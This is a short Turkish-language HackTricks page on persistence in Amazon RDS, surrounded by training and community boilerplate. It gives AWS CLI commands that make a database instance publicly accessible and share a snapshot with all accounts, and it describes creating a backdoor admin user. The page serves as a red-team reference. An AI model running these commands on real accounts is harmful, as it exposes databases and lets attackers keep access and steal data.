AWS - RDS Persistence

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!

• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**

• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.

RDS

Daha fazla bilgi için kontrol edin:

AWS - Relational Database (RDS) Enum

Örneği herkese açık erişilebilir hale getirin: rds:ModifyDBInstance

Bu izne sahip bir saldırgan, mevcut bir RDS örneğini herkese açık erişilebilir hale getirmek için değiştirebilir.

aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately

Veritabanında bir yönetici kullanıcısı oluşturun

Bir saldırgan, veritabanında bir kullanıcı oluşturabilir, böylece ana kullanıcı şifresi değiştirilse bile veritabanına erişimini kaybetmez.

Anlık görüntüyü herkese açık yapın

aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!

• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**

• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.